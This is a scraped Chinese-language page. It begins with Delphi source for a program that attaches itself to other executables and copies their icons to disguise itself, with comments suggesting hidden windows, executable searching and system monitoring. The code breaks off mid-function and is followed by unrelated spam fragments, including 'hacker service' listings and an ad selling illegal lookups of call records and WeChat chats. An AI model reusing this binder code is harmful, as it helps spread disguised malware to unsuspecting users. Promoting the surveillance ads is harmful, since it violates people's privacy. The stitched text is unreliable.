最新功能:与其它程序捆绑后,图标为其它程序的图标
这个示范程序没有form,编译、压缩后仅40K,运行后不长驻内存
如果加上隐藏的窗体,加上搜索可执行程序的功能,加上监视系统的功能,加上 %$#@*^ 功能...
程序中几个数字的确定:
1 在本程序编译后用Aspack.Exe压缩,大小为41472
2 经过分析,本程序在用Aspack.Exe压缩后,图标前面部分长40751,图标数据
位于从第40752字节开始共640字节,图标后还有81字节
与其它程序捆绑的过程:
本程序的前40751字节+被捆绑程序的图标+本程序最后81字节+被捆绑程序全部
怎么找到图标的位置:
将程序的图标设定为一个32*32的红色块,在程序经过编译、压缩后,用十六进制
编辑软件载入,查找“99 99 99”字符串即可。以后你可为程序加上其它合适的图标。
十六进制编辑软件:常用UltraEdit。
本人嫌它有日期限制,自编了一个,有十六进制编辑、比较、查找功能,并在不断完善中,对付几百K的文件没问题:
http://guanbh.top263.net/download/hexedit.exe
}
program exe2;
uses
classes,
Tlhelp32,
windows,
graphics,
ShellAPI,
SysUtils;
{$R *.RES}
var
lppe:TProcessEntry32;
found:boolean;
handle:THandle;
ProcessStr,ExeName:string;
WinDir:pchar;
const
MySize=41472; {!!这个值要根据编译或压缩后的文件大小进行修改!!}
procedure copy2(s:string);
var
s1,s2,IcoStream:TMemoryStream;
File2:TFilestream;
ch:array[0..1] of char;
ss:string;
filetime,fhandle:integer;
l:integer;
File2Icon:Ticon;
begin
{若文件s不存在}
if FileExists(s)=False then exit;
try
{若文件不含图标,就不捆绑}
File2Icon:=Ticon.Create;
l:=extracticon(handle,pchar(s),0);
if l=0 then
begin
File2Icon.Free;
exit;
end
else
begin
{提取被捆绑程序图标}
File2Icon.Handle:=extracticon(handle,pchar(s),0);
IcoStream:=TMemoryStream.Create;
File2Icon.SaveToStream(IcoStream);
File2Icon.Free;
end;
{判断文件s中有没有第2个程序头’MZ’。若有,表示已经合并过}
File2:=TFilestream.Create(s,fmopenread);
if File2.Size>MySize then
begin
File2.Position:=MySize;
File2.Read(ch,2);
ss:=copy(ch,1,2);
现在互联网时代已经遍布全球,小视频已经到了巅峰的时期,好多人每天都会花上一定的时间去观看和欣赏这些小视频,对于他们而言,是一种乐趣额,可他们根本不知道,在他们所看这些视频的创作者,已经赚翻了。 那...
以前我还在今日头条号和微信公众号更新连载过拼多多平台的群店课程内容及其一些小干货知识,接到挺多非常好的意见反馈,在这儿也先谢谢你们一件事的认同!因为我平时自身搞店面的另外也要带学生,因此 确实难以...
网络黑客渗入棋牌游戏平台可以做什么 网络黑客服务平台有什么(找黑客服务平台) 网络黑客的肉食鸡该怎么办 如何才华学好网络黑客技艺(网络黑客必须学好哪些) 电脑怎么当网络黑客...
ODD 的全名是 Operational Design Domain(设计方案运作域)。 说白了无人驾驶轿车的 ODD 是指无人驾驶系统功能设置的运作标准,包含但不限于自然环境、自然地理和时间段限定...
【微信:】专业开房查询,同住人信息查询,通话记录查询,查询微信聊天记录,十分靠谱! 我相信有很多人在使用手机,喜欢用微信和朋友聊天,分享生活等等,使用起来很方便,这是越来越多的朋友离不开微信。那么,在...
端午节就在眼前,最传统的当然是送粽子的,但这些东西每年都送, 别说收的人,连送的人都觉得腻了!那么端午节除了粽子还能送什么? 送父母 1、香囊 在端午节佩戴香囊也是端午节的习俗之一,小小的香...